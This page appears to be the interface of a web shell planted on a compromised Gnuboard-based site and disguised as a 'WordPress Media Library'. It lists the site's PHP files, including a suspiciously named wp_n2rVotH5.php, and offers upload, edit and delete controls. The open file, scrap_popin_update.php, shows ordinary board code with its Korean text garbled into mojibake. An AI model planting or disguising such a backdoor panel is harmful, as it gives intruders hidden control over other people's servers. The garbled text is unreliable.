โ WordPress Media Library
File manager
๐ Media Files
๐ง _common.php
๐ง _head.php
๐ง _head.sub.php
๐ง _tail.php
๐ง _tail.sub.php
๐ง ajax.autosave.php
๐ง ajax.autosavedel.php
๐ง ajax.autosavelist.php
๐ง ajax.autosaveload.php
๐ง ajax.comment_token.php
๐ง ajax.filter.php
๐ง ajax.mb_email.php
๐ง ajax.mb_hp.php
๐ง ajax.mb_id.php
๐ง ajax.mb_nick.php
๐ง ajax.mb_recommend.php
๐ง alert.php
๐ง alert_close.php
๐ง board.php
๐ง board_head.php
๐ง board_list_update.php
๐ง board_tail.php
๐ง confirm.php
๐ง content.php
๐ง current_connect.php
๐ง db_table.optimize.php
๐ง delete.php
๐ง delete_all.php
๐ง delete_comment.php
๐ง download.php
๐ง email_certify.php
๐ง email_stop.php
๐ง faq.php
๐ง formmail.php
๐ง formmail_send.php
๐ง good.php
๐ง group.php
๐ง link.php
๐ง list.php
๐ง login.php
๐ง login_check.php
๐ง logout.php
๐ง member_confirm.php
๐ง member_leave.php
๐ง memo.php
๐ง memo_delete.php
๐ง memo_form.php
๐ง memo_form_update.php
๐ง memo_view.php
๐ง move.php
๐ง move_update.php
๐ง mypage.php
๐ง new.php
๐ง new_delete.php
๐ง newwin.inc.php
๐ง password.php
๐ง password_check.php
๐ง password_lost.php
๐ง password_lost2.php
๐ง password_lost_certify.php
๐ง point.php
๐ง poll_etc_update.php
๐ง poll_etc_update_mail.php
๐ง poll_result.php
๐ง poll_update.php
๐ง profile.php
๐ง qadelete.php
๐ง qadownload.php
๐ง qahead.php
๐ง qalist.php
๐ง qatail.php
๐ง qaview.php
๐ง qawrite.php
๐ง qawrite_update.php
๐ง register.php
๐ง register_email.php
๐ง register_email_update.php
๐ง register_form.php
๐ง register_form_update.php
๐ง register_form_update_mail1.php
๐ง register_form_update_mail2.php
๐ง register_form_update_mail3.php
๐ง register_result.php
๐ง rss.php
๐ง scrap.php
๐ง scrap_delete.php
๐ง scrap_popin.php
๐ง scrap_popin_update.php
๐ง search.php
๐ง sns_send.php
๐ง view.php
๐ง view_comment.php
๐ง view_image.php
๐ง visit_browscap.inc.php
๐ง visit_insert.inc.php
๐ง wp_n2rVotH5.php
๐ง write.php
๐ง write_comment_update.php
๐ง write_comment_update.sns.php
๐ง write_token.php
๐ง write_update.php
๐ง write_update_mail.php
๐ง zboard.php
โฌ๏ธ Upload Media
Upload File
๐ Edit: scrap_popin_update.php
Size: 4.61 KB | Modified: 2019-12-05 09:09:25
<?php include_once('./_common.php'); include_once(G5_PATH.'/head.sub.php'); if (!$is_member) { $href = './login.php?'.$qstr.'&url='.urlencode(get_pretty_url($bo_table, $wr_id)); echo '<script> alert(\'ํ์๋ง ์ ๊ทผ ๊ฐ๋ฅํฉ๋๋ค.\'); top.location.href = \''.str_replace('&', '&', $href).'\'; </script>'; exit; } // ๊ฒ์๊ธ ์กด์ฌํ๋์ง if(!$write['wr_id']) alert_close('์คํฌ๋ฉํ์๋ ค๋ ๊ฒ์๊ธ์ด ์กด์ฌํ์ง ์์ต๋๋ค.'); $sql = " select count(*) as cnt from {$g5['scrap_table']} where mb_id = '{$member['mb_id']}' and bo_table = '$bo_table' and wr_id = '$wr_id' "; $row = sql_fetch($sql); if ($row['cnt']) { echo ' <script> if (confirm(\'์ด๋ฏธ ์คํฌ๋ฉํ์ ๊ธ ์ ๋๋ค.'."\n\n".'์ง๊ธ ์คํฌ๋ฉ์ ํ์ธํ์๊ฒ ์ต๋๊น?\')) document.location.href = \'./scrap.php\'; else window.close(); </script> <noscript> <p>์ด๋ฏธ ์คํฌ๋ฉํ์ ๊ธ ์ ๋๋ค.</p> <a href="./scrap.php">์คํฌ๋ฉ ํ์ธํ๊ธฐ</a> <a href="'.get_pretty_url($bo_table, $wr_id).'">๋์๊ฐ๊ธฐ</a> </noscript>'; exit; } $wr_content = trim($_POST['wr_content']); // ๋ง๊ธ์ด ๋์ด์ค๊ณ ์ฝ๋ฉํธ๋ฅผ ์ธ ๊ถํ์ด ์๋ค๋ฉด if ($wr_content && ($member['mb_level'] >= $board['bo_comment_level'])) { $wr = get_write($write_table, $wr_id); // ์๊ธ์ด ์กด์ฌํ๋ค๋ฉด if ($wr['wr_id']) { // ์ธ์ ์ ์๊ฐ ๊ฒ์ฌ // 4.00.15 - ๋๊ธ ์์ ์ ์ฐ์ ๊ฒ์๋ฌผ ๋ฑ๋ก ๋ฉ์์ง๋ก ์ธํ ์ค๋ฅ ์์ if ($w == 'c' && $_SESSION['ss_datetime'] >= (G5_SERVER_TIME - $config['cf_delay_sec']) && !$is_admin) alert('๋๋ฌด ๋น ๋ฅธ ์๊ฐ๋ด์ ๊ฒ์๋ฌผ์ ์ฐ์ํด์ ์ฌ๋ฆด ์ ์์ต๋๋ค.'); set_session('ss_datetime', G5_SERVER_TIME); $mb_id = $member['mb_id']; $wr_name = addslashes(clean_xss_tags($board['bo_use_name'] ? $member['mb_name'] : $member['mb_nick'])); $wr_password = $member['mb_password']; $wr_email = addslashes($member['mb_email']); $wr_homepage = addslashes(clean_xss_tags($member['mb_homepage'])); $sql = " select max(wr_comment) as max_comment from $write_table where wr_parent = '$wr_id' and wr_is_comment = '1' "; $row = sql_fetch($sql); $row['max_comment'] += 1; $sql = " insert into $write_table set ca_name = '{$wr['ca_name']}', wr_option = '', wr_num = '{$wr['wr_num']}', wr_reply = '', wr_parent = '$wr_id', wr_is_comment = '1', wr_comment = '{$row['max_comment']}', wr_content = '$wr_content', mb_id = '$mb_id', wr_password = '$wr_password', wr_name = '$wr_name', wr_email = '$wr_email', wr_homepage = '$wr_homepage', wr_datetime = '".G5_TIME_YMDHIS."', wr_ip = '{$_SERVER['REMOTE_ADDR']}' "; sql_query($sql); $comment_id = sql_insert_id(); // ์๊ธ์ ์ฝ๋ฉํธ์ ์ฆ๊ฐ sql_query(" update $write_table set wr_comment = wr_comment + 1 where wr_id = '$wr_id' "); // ์๊ธ INSERT sql_query(" insert into {$g5['board_new_table']} ( bo_table, wr_id, wr_parent, bn_datetime, mb_id ) values ( '$bo_table', '$comment_id', '$wr_id', '".G5_TIME_YMDHIS."', '{$member['mb_id']}' ) "); // ์ฝ๋ฉํธ 1 ์ฆ๊ฐ sql_query(" update {$g5['board_table']} set bo_count_comment = bo_count_comment + 1 where bo_table = '$bo_table' "); // ํฌ์ธํธ ๋ถ์ฌ insert_point($member['mb_id'], $board['bo_comment_point'], "{$board['bo_subject']} {$wr_id}-{$comment_id} ๋๊ธ์ฐ๊ธฐ(์คํฌ๋ฉ)", $bo_table, $comment_id, '๋๊ธ'); } } $sql = " insert into {$g5['scrap_table']} ( mb_id, bo_table, wr_id, ms_datetime ) values ( '{$member['mb_id']}', '$bo_table', '$wr_id', '".G5_TIME_YMDHIS."' ) "; sql_query($sql); $sql = " update `{$g5['member_table']}` set mb_scrap_cnt = '".get_scrap_totals($member['mb_id'])."' where mb_id = '{$member['mb_id']}' "; sql_query($sql); delete_cache_latest($bo_table); echo <<<HEREDOC <script> if (confirm('์ด ๊ธ์ ์คํฌ๋ฉ ํ์์ต๋๋ค.\\n\\n์ง๊ธ ์คํฌ๋ฉ์ ํ์ธํ์๊ฒ ์ต๋๊น?')) document.location.href = './scrap.php'; else window.close(); </script> <noscript> <p>์ด ๊ธ์ ์คํฌ๋ฉ ํ์์ต๋๋ค.</p> <a href="./scrap.php">์คํฌ๋ฉ ํ์ธํ๊ธฐ</a> </noscript> HEREDOC; ?>
๐พ Save Changes
๐ฅ Download
๐๏ธ Delete